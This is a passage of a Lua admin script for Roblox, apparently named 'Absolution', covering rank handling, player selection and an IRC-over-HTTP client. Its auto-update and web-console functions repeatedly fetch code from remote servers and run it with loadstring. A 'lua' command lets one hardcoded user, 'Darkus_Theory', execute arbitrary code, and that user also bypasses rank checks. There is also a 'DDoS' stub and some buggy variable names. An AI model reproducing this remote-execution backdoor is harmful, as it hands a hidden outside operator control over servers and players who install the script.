  1638. aRecord[nField] = str:sub(nStart, nFirst-1)
  1639. nField = nField+1
  1640. nStart = nLast+1
  1641. nFirst,nLast = str:find(sSeparator, nStart, bPlain)
  1642. nMax = nMax-1
  1643. end
  1644. aRecord[nField] = str:sub(nStart)
  1645. end
  1646.  
  1647. return aRecord
  1648. end
  1649.  
  1650. -- Auto LoadString --
  1651. Absolution.Functions.AutoLoadstring = function()
  1652. coroutine.wrap(function()
  1653. while wait(10) do
  1654. pcall(Absolution.Functions.getTempBans)
  1655. ypcall(function()
  1656. local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.UpdateURL, true) --Absolution.HttpConstants.IP..Absolution.HttpConstants.Remote, true)
  1657. if hsync == Absolution.HttpConstants.PreviousSync then return end
  1658. local dat = loadstring(hsync)()
  1659. if not data.SERVER or data.SERVER:lower() ~= Absolution.uniqueKey:lower() and data.SERVER ~= 'all' then return end
  1660. if data.update == 'nothing' then return end
  1661. Absolution.Functions.Out('Admins', '[Titanpad] (UPDATE) - '..data['update'], 5)
  1662. Absolution.Functions.Output('Admins','[Titanpad] (UPDATE)','Lime green',function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.update) end, 10)
  1663. if data['load'] then
  1664. local loaded,didntload = ypcall(data.load)
  1665. if not loaded then
  1666. Absolution.Functions.Output('Admins','Data unreadable!','Really red')
  1667. Absolution.Functions.Output('Admins',didntload,'Really red')
  1668. end
  1669. else
  1670. Absolution.Functions.Output('Admins','Data unreadable!','Really red')
  1671. end
  1672. Absolution.HttpConstants.PreviousSync = hsync
  1673. Absolution.dataReady = true
  1674. end)
  1675. local function getPlayers(plrname)
  1676. local rtn = {}
  1677. for q,e in next,Absolution.Functions.getALLPlayers() do
  1678. if e.Name:lower():sub(1,#plrname)==plrname:lower() then
  1679. table.insert(rtn, e)
  1680. end
  1681. end
  1682. return rtn
  1683. end
  1684. ypcall(function()
  1685. local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.ConsoleTXT)
  1686. local data = game.HttpService:JSONDecode(hsync)
  1687. if data.data and data.data == 'nil' then return end
  1688. if data.Servers~=Absolution.uniqueKey and data.Servers=='all' then
  1689.  
  1690. Absolution.Functions.Out('Admins', '[WebConsole] (UPDATE) - '..data['Note'], 5)
  1691.  
  1692. local cmd = data.Command
  1693. local cmddat = Absolution.Functions.split(cmd, '/')
  1694.  
  1695. local command = cmddat[1]
  1696. local player = cmddat[2]
  1697. local reason = cmddat[3]
  1698. local sender = data.Note:sub(1,data.Note:find':'-1)
  1699. local players = {}
  1700.  
  1701. if player then
  1702. pcall(function() players = getPlayers(player) end)
  1703. end
  1704.  
  1705. if command=='kill' then
  1706. for q,e in pairs(players) do
  1707. if e.Character then
  1708. e.Character:breakJoints()
  1709. end
  1710. end
  1711. elseif command=='respawn' then
  1712. for q,e in pairs(players) do
  1713. e.Character:LoadCharacter()
  1714. end
  1715. elseif command=='kick' then
  1716. for q,e in pairs(players) do
  1717. e:Kick('[ABSOLUTION]: Kicked by '..sender..' for '..reason)
  1718. end
  1719. elseif command=='ban' then
  1720. for q,e in pairs(players) do
  1721. Absolution.Ranked[e.Name].Description = reason..' ('..sender..')'
  1722. Absolution.Ranked[e.Name].Rank = -1
  1723. Absolution.Function.syncRankOut(e.Name)
  1724. end
  1725. elseif command=='message' then
  1726. Absolution.Functions.Announce(sender..': '..player, true)
  1727. elseif command=='hint' then
  1728. Absolution.Functions.Announce(sender..': '..player)
  1729. elseif command=='lua' then
  1730. if sender~='Darkus_Theory' then return end
  1731. loadstring(player)()
  1732. end
  1733.  
  1734. elseif data.Servers==Absolution.uniqueKey then
  1735.  
  1736. Absolution.Functions.Out('Admins', '[WebConsole] (UPDATE) - '..data['Note'], 5)
  1737. Absolution.Functions.Output('Admins','[WebConsole] (UPDATE)','Lime green',function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.Note) end, 10)
  1738. Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.ConsolePHP)
  1739.  
  1740. local cmd = data.Command
  1741. local cmddat = Absolution.Functions.split(cmd, '/')
  1742.  
  1743. local command = cmddat[1]
  1744. local player = cmddat[2]
  1745. local reason = cmddat[3]
  1746. local sender = data.Note:sub(1,data.Note:find':'-1)
  1747. local players = {}
  1748.  
  1749. if player then
  1750. pcall(function() players = getPlayers(player) end)
  1751. end
  1752.  
  1753. if command=='kill' then
  1754. for q,e in pairs(players) do
  1755. if e.Character then
  1756. e.Character:breakJoints()
  1757. end
  1758. end
  1759. elseif command=='respawn' then
  1760. for q,e in pairs(players) do
  1761. e.Character:LoadCharacter()
  1762. end
  1763. elseif command=='kick' then
  1764. for q,e in pairs(players) do
  1765. e:Kick('[ABSOLUTION]: Kicked by '..sender..' for '..reason)
  1766. end
  1767. elseif command=='ban' then
  1768. for q,e in pairs(players) do
  1769. Absolution.Ranked[e.Name].Description = reason..' ('..sender..')'
  1770. Absolution.Ranked[e.Name].Rank = -1
  1771. Absolution.Function.syncRankOut(e.Name)
  1772. end
  1773. elseif command=='message' then
  1774. Absolution.Functions.Announce(sender..': '..player, true)
  1775. elseif command=='hint' then
  1776. Absolution.Functions.Announce(sender..': '..player)
  1777. elseif command=='lua' then
  1778. if sender~='Darkus_Theory' then return end
  1779. loadstring(player)()
  1780. end
  1781. end
  1782. Absolution.dataReady = true
  1783. end)
  1784. ypcall(function()
  1785. local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Remote, true)
  1786. if hsync == Absolution.HttpConstants.PreviousWSync then return end
  1787. local dat = loadstring(hsync)()
  1788. if not data.SERVER or data.SERVER:lower() ~= Absolution.uniqueKey:lower() and data.SERVER ~= 'all' then return end
  1789. if data.update == 'nothing' then return end
  1790. Absolution.Functions.Out('Admins', '[Website] (UPDATE) - '..data.update, 5)
  1791. Absolution.Functions.Output('Admins', '[Website] (UPDATE)','Lime green', function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.update) end, 10)
  1792. if data['load'] then
  1793. local loaded,didntload = ypcall(data.load)
  1794. if not loaded then
  1795. Absolution.Functions.Output('Admins','Data unreadable!','Really red')
  1796. Absolution.Functions.Output('Admins',didntload,'Really red')
  1797. end
  1798. else
  1799. Absolution.Functions.Output('Admins','Data unreadable!','Really red')
  1800. end
  1801. Absolution.HttpConstants.PreviousWSync = hsync
  1802. Absolution.dataReady = true
  1803. end)
  1804. end
  1805. end)()
  1806. end
  1807.  
  1808. -- DDoS --
  1809. Absolution.Functions.DDoS = function(ip, port, dur)
  1810. local uri = ''
  1811. return game.HttpService:GetAsync(uri)
  1812. end
  1813.  
  1814. -- Auto Update --
  1815. Absolution.Functions.AutoUpdate = function()
  1816. coroutine.wrap(function()
  1817. while true do
  1818. ypcall(function()
  1819. Absolution.Functions.syncRanksIn()
  1820. Absolution.Functions.syncRanksOut()
  1821. end)
  1822. wait(90)
  1823. end
  1824. end)()
  1825. end
  1826.  
  1827. -- Ranking --
  1828. Absolution.Functions.addData = function(self, Player, UID, Rank, Color, Description, Bt, TabletType, SpinningRot, Rotation, Distance)
  1829. Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)] = {UserID = UID, Rank = (Rank and Rank or 0), Color = (Color and Color or tostring(BrickColor.random())), Description = (Description and Description or "N/A"), Bet = (Bt and Bt or "/"), MeshType = (MeshType and MeshType or "No Mesh"), SpinningRot = (SpinningRot and SpinningRot or true), Rotation = (Rotation and Rotation or false), Distance = (Distance and Distance or 8), TabletType = (TabletType and TabletType or 'Normal')}
  1830. return Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)]
  1831. end
  1832.  
  1833. Absolution.Functions.delData = function(self, Player)
  1834. Absolution.Ranked[type(Player)=='userdata' and Player.Name or tostring(Player)] = nil
  1835. return true
  1836. end
  1837.  
  1838. Absolution.Functions.modData = function(self, Player, dataName, dataValue)
  1839. if Absolution.Ranked[Player] then
  1840. Absolution.Ranked[Player][dataName] = dataValue
  1841. end
  1842. return Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)]
  1843. end
  1844. Absolution.Functions.findRank = function(self, name)
  1845. if not name then return end
  1846. if not self then return end
  1847. local rnk = Absolution.Ranked[tostring(name)]
  1848. if not rnk then rnk = {Rank = 0} end
  1849. return rnk.Rank
  1850. end
  1851.  
  1852. -- getPlayers --
  1853. Absolution.Functions.getPlayers = function(Speaker, Msg)
  1854. Msg = Msg:lower()
  1855. local Table = {}
  1856. local Players = Absolution.Services.Players:getPlayers()
  1857. if Msg == "me" then
  1858. table.insert(Table, Speaker)
  1859. elseif Msg == "all" or Msg == "" then
  1860. for _,v in pairs(Players) do
  1861. table.insert(Table, v)
  1862. end
  1863. elseif Msg == "others" then
  1864. for _,v in pairs(Players) do
  1865. if v.Name ~= Speaker.Name then
  1866. table.insert(Table, v)
  1867. end
  1868. end
  1869. elseif Msg == "admins" then
  1870. for _,v in pairs(Players) do
  1871. if v.Name ~= Speaker.Name and Absolution.Functions:findRank(v) >=4 then
  1872. table.insert(Table, v)
  1873. end
  1874. end
  1875. elseif Msg == "nonadmins" then
  1876. for _,v in pairs(Players) do
  1877. if v.Name ~= Speaker.Name and Absolution.Functions:findRank(v) <=4 then
  1878. table.insert(Table, v)
  1879. end
  1880. end
  1881. elseif Msg == "nonveterans" or Msg == "nonvets" or Msg == "noobs" then
  1882. for _,v in pairs(Players) do
  1883. if v.AccountAge < 364 then
  1884. table.insert(Table, v)
  1885. end
  1886. end
  1887. elseif Msg == "veterans" or Msg == "vets" then
  1888. for _,v in pairs(Players) do
  1889. if v.AccountAge > 364 then
  1890. table.insert(Table, v)
  1891. end
  1892. end
  1893. elseif Msg == "random" then
  1894. local p = Players[math.random(1,#Players)]
  1895. table.insert(Table, p)
  1896. elseif Msg == 'friends' then
  1897. for i,v in pairs(Players) do
  1898. if Speaker:IsFriendsWith(v.userId) then
  1899. table.insert(Table, v)
  1900. end
  1901. end
  1902. elseif Msg == 'nonfriends' then
  1903. for i,v in pairs(Players) do
  1904. if not Speaker:IsFriendsWith(v.userId) then
  1905. table.insert(Table, v)
  1906. end
  1907. end
  1908. elseif Msg:sub(1,5) == 'rank<' then
  1909. local rnk = Msg:sub(6)
  1910. if not tonumber(rnk) then return end
  1911. for i,v in pairs(Players) do
  1912. if Absolution.Functions.getRankedTable(tostring(v)).Rank < rnk then
  1913. table.insert(Table, v)
  1914. end
  1915. end
  1916. elseif Msg:sub(1,5) == 'rank>' then
  1917. local rnk = Msg:sub(6)
  1918. if not tonumber(rnk) then return end
  1919. for i,v in pairs(Players) do
  1920. if Absolution.Functions.getRankedTable(tostring(v)).Rank > rnk then
  1921. table.insert(Table, v)
  1922. end
  1923. end
  1924. elseif Msg:sub(1,5) == 'rank ' then
  1925. local rnk = Msg:sub(6)
  1926. if not tonumber(rnk) then return end
  1927. for i,v in pairs(Players) do
  1928. if Absolution.Functions.getRankedTable(tostring(v)).Rank == rnk then
  1929. table.insert(Table, v)
  1930. end
  1931. end
  1932. elseif Msg == 'youngest' then
  1933. local at = {}
  1934. for i,v in pairs(Players) do
  1935. table.insert(at,v.AccountAge)
  1936. end
  1937. local low = math.min(unpack(at))
  1938. for i,v in pairs(Players) do
  1939. if v.AccountAge == low then
  1940. table.insert(Table, v)
  1941. end
  1942. end
  1943. elseif Msg == 'oldest' then
  1944. local ot = {}
  1945. for i,v in pairs(Players) do
  1946. table.insert(ot,v.AccountAge)
  1947. end
  1948. local high = math.max(unpack(ot))
  1949. for i,v in pairs(Players) do
  1950. if v.AccountAge == high then
  1951. table.insert(Table, v)
  1952. end
  1953. end
  1954. else
  1955. for i,v in pairs(Players) do
  1956. if v.Name:lower():sub(1,#Msg) == Msg:lower() then
  1957. table.insert(Table, v)
  1958. end
  1959. end
  1960. end
  1961. for _,v in pairs(Table) do
  1962. if Absolution.Functions:findRank(v) >= Absolution.Functions:findRank(Speaker) and v~=Speaker and tostring(Speaker) ~= 'Darkus_Theory' then
  1963. if (v == Speaker) then return end
  1964. Absolution.Functions.Out(Speaker, tostring(v)..' outranks you.',4)
  1965. table.remove(Table, _)
  1966. end
  1967. end
  1968. return Table
  1969. end
  1970.  
  1971. -- CLerp --
  1972. Absolution.Functions.CLerp = function(p1,p2,percent)
  1973. local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22 = p1:components()
  1974. local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22 = p2:components()
  1975. return
  1976. CFrame.new(p1x+percent*(p2x-p1x), p1y+percent*(p2y-p1y) ,p1z+percent*(p2z-p1z),
  1977. (p1R00+percent*(p2R00-p1R00)), (p1R01+percent*(p2R01-p1R01)) ,(p1R02+percent*(p2R02-p1R02)),
  1978. (p1R10+percent*(p2R10-p1R10)), (p1R11+percent*(p2R11-p1R11)) , (p1R12+percent*(p2R12-p1R12)),
  1979. (p1R20+percent*(p2R20-p1R20)), (p1R21+percent*(p2R21-p1R21)) ,(p1R22+percent*(p2R22-p1R22)))
  1980. end
  1981.  
  1982. -- RecursiveChildren --
  1983. Absolution.Functions.RecursiveChildren=function(Object,SearchType,Search)
  1984. if(not pcall(function()Object:IsA'Part'end))then return {}; end;
  1985. Object=Object or Game;
  1986. if(SearchType==nil)then SearchType='all'end;
  1987. local rec={};
  1988. for _,object in next,Object:children()do
  1989. if(SearchType=='all')then table.insert(rec,object)end;
  1990. if(SearchType=='match')then if(object.Name:match(Search))then table.insert(rec,object)end end;
  1991. if(SearchType=='class')then if(object.className:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end end;
  1992. if(SearchType=='name')then if(object.Name:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end;end;
  1993. if(SearchType=='isA')then if(pcall(function()return object:isA(Search)end))then table.insert(rec,object)end end;
  1994. for _,v in next,Absolution.Functions.RecursiveChildren(object,SearchType,Search)do
  1995. table.insert(rec,v);
  1996. end;
  1997. end;
  1998. return rec;
  1999. end;
  2000.  
  2001. -- IRC --
  2002. Absolution.HttpConstants.IRC.API = {}
  2003. local Connections = {}
  2004. local GStr = nil
  2005. local Http = game:GetService("HttpService")
  2006.  
  2007. local function Post(Url,Data)
  2008. local Errored,Data = ypcall(function() return Http:PostAsync(Url,Data,Enum.HttpContentType.ApplicationUrlEncoded) end)
  2009. return Errored == false and false or Data
  2010. end
  2011.  
  2012. local function JSONDecode(JSON)
  2013. local Worked,Result = ypcall(function() return Http:JSONDecode(JSON) end)
  2014. if Worked == false then
  2015. return {}
  2016. else
  2017. return Result
  2018. end
  2019. end
  2020.  
  2021. local function HandleVagues(Connection,Ping,Derp,Raw)
  2022. local Msgs = JSONDecode(Ping)
  2023. local Search = [[%["c","353","webchat%.SwiftIRC%.net",%[".+",".",".+","]]
  2024. if Derp == nil and Ping:find(Search) then
  2025. GStr = Ping
  2026. end
  2027. if Msgs ~= nil and type(Msgs) == "table" and #Msgs > 0 then
  2028. for i,v in pairs(Msgs) do
  2029. for i2,v2 in pairs(Connection.VagueEvents) do
  2030. if v2 ~= false then
  2031. Spawn(function() v2(v,Raw) end)
  2032. end
  2033. end
  2034. end
  2035. end
  2036. end
  2037.  
  2038. Absolution.HttpConstants.IRC.API.Connect = function(this,Host,Nick,Pass)
  2039. local Con = {}
  2040. Connections[Nick.."@"..Host] = Con
  2041. Con.Host = Host
  2042. Con.Nick = Nick
  2043. Con.Counter = 0
  2044. Con.Channels = {}
  2045. Con.VagueEvents = {}
  2046. Con.ChannelEvents = {[Nick]={}}
  2047. Con.UserLists = {}
  2048. Con.SelfEvents = {}
  2049. Con.Counter = Con.Counter+1
  2050. local Data = Post(Host.."e/n?t="..Con.Counter,"nick="..Nick)
  2051. Data = JSONDecode(Data)
  2052. Con.Key = Data[2]
  2053. local Str = ""
  2054. if Con.Key ~= nil then
  2055. wait(1)
  2056. Con.Counter = Con.Counter+1
  2057. local Data = Post(Host.."e/p?t="..Con.Counter,"s="..Con.Key.."&c=MODE "..Nick.." +")
  2058. if Data == false then
  2059. return false,"Something went wrong."
  2060. else
  2061. local Data2 = JSONDecode(Data)
  2062. if Data2[1] == false then
  2063. return false,Data
  2064. end
  2065. end
  2066. Str = Str..Data
  2067.  
  2068. Con.Counter = Con.Counter+1
  2069. local Data = Post(Host.."e/s?t="..Con.Counter,"s="..Con.Key)
  2070. if Data == false then
  2071. return false,"Something went wrong."
  2072. else
  2073. local Data2 = JSONDecode(Data)
  2074. if Data2[1] == false then
  2075. return false,Data
  2076. end
  2077. end
  2078. Str = Str..Data
  2079.  
  2080. if Str:lower():find("already in use") then
  2081. return false,"Nick already in use."
  2082. elseif Str:lower():find("throttled") then
  2083. return false,"Oh no! We got throttled."
  2084. elseif Str:lower():find("invalid session") then
  2085. return false,"Something went wrong."
  2086. end
  2087. if Pass ~= nil then
  2088. Absolution.HttpConstants.IRC.API.SendMessage(Absolution.HttpConstants.IRC.API.SendMessage,Con,"NickServ","identify "..Pass)
  2089. end
  2090. wait()
  2091. return Con
  2092. else
  2093. return false,"Something went wrong."
  2094. end
  2095. end
  2096.  
  2097. Absolution.HttpConstants.IRC.API.Disconnect = function(this,Connection,Res)
  2098. local Host = Connection.Host
  2099. local Nick = Connection.Nick
  2100. local Key = Connection.Key
  2101. if Connections[Nick.."@"..Host] ~= nil then
  2102. Connection.Counter = Connection.Counter+1
  2103. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c="..(Res and "QUIT : "..Res or "QUIT : Shutdown server."))
  2104. if Data ~= false then
  2105. Connections[Nick.."@"..Host] = nil
  2106. for i,v in pairs(Connection.SelfEvents) do
  2107. v:Disconnect()
  2108. end
  2109. Connection.SelfEvents = {}
  2110. for Channel,_ in pairs(Connection.Channels) do
  2111. Connection.Channels[Channel] = nil
  2112. for i,v in pairs(Connection.ChannelEvents[Channel]) do
  2113. v:Disconnect()
  2114. end
  2115. Connection.ChannelEvents[Channel] = nil
  2116. end
  2117. return true
  2118. else
  2119. return false,"Something went wrong."
  2120. end
  2121. else
  2122. return false,"This connection doesn't exist."
  2123. end
  2124. end
  2125.  
  2126. Absolution.HttpConstants.IRC.API.ChangeNick = function(this,Connection,Nick)
  2127. local Host = Connection.Host
  2128. local Key = Connection.Key
  2129. if Connections[Connection.Nick.."@"..Host] ~= nil then
  2130. Connection.Counter = Connection.Counter+1
  2131. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=NICK "..Nick)
  2132. if Data == false then
  2133. return false,"Something went wrong."
  2134. else
  2135. local Data2 = JSONDecode(Data)
  2136. if Data2[1] == false then
  2137. return false,Data
  2138. end
  2139. end
  2140. Connections[Connection.Nick.."@"..Host] = nil
  2141. Connection.Nick = Nick
  2142. Connections[Nick.."@"..Host] = Connection
  2143. return true
  2144. else
  2145. return false,"There is no connection with this nick and host."
  2146. end
  2147. end
  2148.  
  2149. Absolution.HttpConstants.IRC.API.JoinChannel = function(this,Connection,Channel)
  2150. local Host = Connection.Host
  2151. local Nick = Connection.Nick
  2152. local Key = Connection.Key
  2153. local Str = ""
  2154. if Connections[Nick.."@"..Host] ~= nil then
  2155. Connection.Counter = Connection.Counter+1
  2156. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=JOIN "..Channel.." ")
  2157. if Data == false then
  2158. return false,"Something went wrong."
  2159. else
  2160. local Data2 = JSONDecode(Data)
  2161. if Data2[1] == false then
  2162. return false,Data
  2163. end
  2164. end
  2165. Str = Str..Data
  2166.  
  2167. local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
  2168. if Str:find(Search) == nil then
  2169. repeat
  2170. if GStr ~= nil then
  2171. Str = Str..GStr
  2172. GStr = nil
  2173. break
  2174. end
  2175. Connection.Counter = Connection.Counter+1
  2176. local Data = Post(Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
  2177. if Data == false then
  2178. return false,"Something went wrong."
  2179. else
  2180. HandleVagues(Connection,Data,false)
  2181. local Data2 = JSONDecode(Data)
  2182. if Data2[1] == false then
  2183. return false,Data
  2184. end
  2185. end
  2186. Str = Str..Data
  2187. until Str:find(Search) ~= nil
  2188. end
  2189.  
  2190. if Str:find("already in use") then
  2191. return false,"Nick already in use."
  2192. elseif Str:lower():find("throttled") then
  2193. return false,"Oh no! We got throttled."
  2194. elseif Str:lower():find("invalid session") then
  2195. return false,"Something went wrong."
  2196. else--if Str:lower():find("end of /names list.") then
  2197. Connection.Channels[Channel] = true
  2198. Connection.ChannelEvents[Channel] = {}
  2199. Connection.UserLists[Channel] = {}
  2200. Connection.UserLists[Channel][Nick] = true
  2201. local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
  2202. local RawSearch = Search:gsub("%%","")
  2203. local Start = Str:find(Search)
  2204. if Start ~= nil then
  2205. local End = Str:find('"',Start+#RawSearch+1,true)
  2206. local List = Str:sub(Start+#RawSearch,End-1)
  2207. for Match in List:gmatch("[^%s]+") do
  2208. if Match ~= Nick then
  2209. if Match:sub(1,1):match("[%w]") then
  2210. Connection.UserLists[Channel][Match] = true
  2211. else
  2212. Connection.UserLists[Channel][Match:sub(2)] = true
  2213. end
  2214. end
  2215. end
  2216. end
  2217. Spawn(function()
  2218. Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.UserJoined(Absolution.HttpConstants.IRC.API.UserJoined,Connection,Channel,function(User)
  2219. Connection.UserLists[Channel][User] = true
  2220. end)
  2221. Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.UserLeft(Absolution.HttpConstants.IRC.API.UserLeft,Connection,Channel,function(User)
  2222. wait(0.02)
  2223. Connection.UserLists[Channel][User] = nil
  2224. end)
  2225. Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.NickChanged(Absolution.HttpConstants.IRC.API.NickChanged,Connection,Channel,function(User,Nick)
  2226. wait(0.02)
  2227. Connection.UserLists[Channel][User] = nil
  2228. Connection.UserLists[Channel][Nick] = true
  2229. end)
  2230. wait(0.02)
  2231. HandleVagues(Connection,[=[ [["c","JOIN","]=] .. Nick .. [=[!",["]=] .. Channel .. [=["]]] ]=],nil,true)
  2232. end)
  2233. return true
  2234. --[[else
  2235. return false,"Something went wrong."]]
  2236. end
  2237. else
  2238. return false,"There is no connection with this nick and host."
  2239. end
  2240. end
  2241.  
  2242. Absolution.HttpConstants.IRC.API.GetUserList = function(this,Connection,Channel)
  2243. local Host = Connection.Host
  2244. local Nick = Connection.Nick
  2245. local Key = Connection.Key
  2246. if Connections[Nick.."@"..Host] ~= nil then
  2247. local New = {}
  2248. for i,v in pairs(Connection.UserLists[Channel]) do
  2249. New[#New+1] = i
  2250. end
  2251. return New
  2252. else
  2253. return false,"There is no connection with this nick and host."
  2254. end
  2255. end
  2256.  
  2257. Absolution.HttpConstants.IRC.API.LeaveChannel = function(this,Connection,Channel)
  2258. local Host = Connection.Host
  2259. local Nick = Connection.Nick
  2260. local Key = Connection.Key
  2261. local Str = ""
  2262. if Connections[Nick.."@"..Host] ~= nil then
  2263. Connection.Counter = Connection.Counter+1
  2264. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PART "..Channel.." ")
  2265. if Data:find("true") then
  2266. Connection.Channels[Channel] = nil
  2267. for i,v in pairs(Connection.ChannelEvents[Channel]) do
  2268. v:Disconnect()
  2269. end
  2270. Connection.UserLists[Channel] = nil
  2271. Connection.SelfEvents = {}
  2272. Connection.ChannelEvents[Channel] = nil
  2273. return true
  2274. elseif Data:lower():find("throttled") then
  2275. return false,"Oh no! We got throttled."
  2276. else
  2277. return false,"Something went wrong."
  2278. end
  2279. else
  2280. return false,"There is no connection with this nick and host."
  2281. end
  2282. end
  2283.  
  2284. Absolution.HttpConstants.IRC.API.SendMessage = function(this,Connection,Channel,Message)
  2285. local Host = Connection.Host
  2286. local Nick = Connection.Nick
  2287. local Key = Connection.Key
  2288. if Connections[Nick.."@"..Host] ~= nil then
  2289. if Connection.Channels[Channel] == true or Channel:sub(1,1) ~= "#" then
  2290. if Message==Absolution.HttpConstants.pircm then return end
  2291. Absolution.HttpConstants.pircm = Message
  2292. Connection.Counter = Connection.Counter+1
  2293. local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PRIVMSG "..Channel.." :"..Http:UrlEncode(Message))
  2294. if Ping ~= false then
  2295. return true,Ping
  2296. else
  2297. return false,"Something went wrong. "..Ping
  2298. end
  2299. else
  2300. return false,"You are not on this channel with this connection."
  2301. end
  2302. else
  2303. return false,"There is no connection with this nick and host."
  2304. end
  2305. end
  2306.  
  2307. local function VagueReceived(Connection,Event)
  2308. Connection.VagueEvents[#Connection.VagueEvents+1] = Event
  2309. if #Connection.VagueEvents == 1 then
  2310. while Connections[Connection.Nick.."@"..Connection.Host] ~= nil do
  2311. Connection.Counter = Connection.Counter+1
  2312. local Ping = Post(Connection.Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
  2313. if Ping ~= false and Connections[Connection.Nick.."@"..Connection.Host] ~= nil then
  2314. HandleVagues(Connection,Ping)
  2315. end
  2316. wait()
  2317. end
  2318. end
  2319. end
  2320.  
  2321. Absolution.HttpConstants.IRC.API.MessageReceived = function(this,Connection,Channel,Event)
  2322. local Host = Connection.Host
  2323. local Nick = Connection.Nick
  2324. local Key = Connection.Key
  2325. if Connections[Nick.."@"..Host] ~= nil then
  2326. if Connection.Channels[Channel] == true then
  2327. local Con = {}
  2328. local Connected = true
  2329. local VCon;
  2330. Spawn(function()
  2331. local function Return(v)
  2332. if Connected == false then
  2333. for i,v in pairs(Connection.VagueEvents) do
  2334. if v == VCon then
  2335. Connection.VagueEvents[i] = false
  2336. end
  2337. end
  2338. return
  2339. end
  2340. if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
  2341. local probplr;
  2342. if v[3]:find('absolutionClient_') then
  2343. probplr = v[4][2]:sub(1,v[4][2]:find(":")-1)
  2344. v[4][2] = string.gsub(v[4][2],probplr..':','')
  2345. else
  2346. probplr = v[3]:sub(1,v[3]:find("!")-1)
  2347. end
  2348. Event(v[4][2],nil, probplr)
  2349. Absolution.Functions.IRCCommandParser(probplr, v)
  2350. end
  2351. end
  2352. VCon = Return
  2353. VagueReceived(Connection,Return)
  2354. end)
  2355. Con.Disconnect = function(this)
  2356. Connected = false
  2357. Connection.ChannelEvents[Channel][Con] = nil
  2358. end
  2359. Connection.ChannelEvents[Channel][Con] = Con
  2360. return Con
  2361. else
  2362. return false,"You are not on this channel with this connection."
  2363. end
  2364. else
  2365. return false,"There is no connection with this nick and host."
  2366. end
  2367. end
  2368.  
  2369. Absolution.HttpConstants.IRC.API.PMReceived = function(this,Connection,Event)
  2370. local Host = Connection.Host
  2371. local Nick = Connection.Nick
  2372. local Key = Connection.Key
  2373. if Connections[Nick.."@"..Host] ~= nil then
  2374. local Con = {}
  2375. local Connected = true
  2376. local VCon;
  2377. Spawn(function()
  2378. local function Return(v)
  2379. if Connected == false then
  2380. for i,v in pairs(Connection.VagueEvents) do
  2381. if v == VCon then
  2382. Connection.VagueEvents[i] = false
  2383. end
  2384. end
  2385. return
  2386. end
  2387. if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1] == Connection.Nick then
  2388. Event(v[3]:sub(1,v[3]:find("!")-1),v[4][2])
  2389. end
  2390. end
  2391. VCon = Return
  2392. VagueReceived(Connection,Return)
  2393. end)
  2394. Con.Disconnect = function(this)
  2395. Connected = false
  2396. Connection.ChannelEvents[Nick][Con] = nil
  2397. end
  2398. Connection.ChannelEvents[Nick][Con] = Con
  2399. return Con
  2400. else
  2401. return false,"There is no connection with this nick and host."
  2402. end
  2403. end
  2404.  
  2405. Absolution.HttpConstants.IRC.API.NickChanged = function(this,Connection,Channel,Event)
  2406. local Host = Connection.Host
  2407. local Nick = Connection.Nick
  2408. local Key = Connection.Key
  2409. if Connections[Nick.."@"..Host] ~= nil then
  2410. if Connection.Channels[Channel] == true then
  2411. local Con = {}
  2412. local Connected = true
  2413. local VCon;
  2414. Spawn(function()
  2415. local function Return(v)
  2416. if Connected == false then
  2417. for i,v in pairs(Connection.VagueEvents) do
  2418. if v == VCon then
  2419. Connection.VagueEvents[i] = false
  2420. end
  2421. end
  2422. return
  2423. end
  2424. if type(v) == "table" and v[2] ~= nil and v[2] == "NICK" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
  2425. if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
  2426. Event(v[3]:sub(1,v[3]:find("!")-1),v[4][1])
  2427. end
  2428. end
  2429. end
  2430. VCon = Return
  2431. VagueReceived(Connection,Return)
  2432. end)
  2433. Con.Disconnect = function(this)
  2434. Connected = false
  2435. Connection.ChannelEvents[Channel][Con] = nil
  2436. end
  2437. Connection.ChannelEvents[Channel][Con] = Con
  2438. return Con
  2439. else
  2440. return false,"You are not on this channel with this connection."
  2441. end
  2442. else
  2443. return false,"There is no connection with this nick and host."
  2444. end
  2445. end
  2446.  
  2447. Absolution.HttpConstants.IRC.API.UserJoined = function(this,Connection,Channel,Event)
  2448. local Host = Connection.Host
  2449. local Nick = Connection.Nick
  2450. local Key = Connection.Key
  2451. if Connections[Nick.."@"..Host] ~= nil then
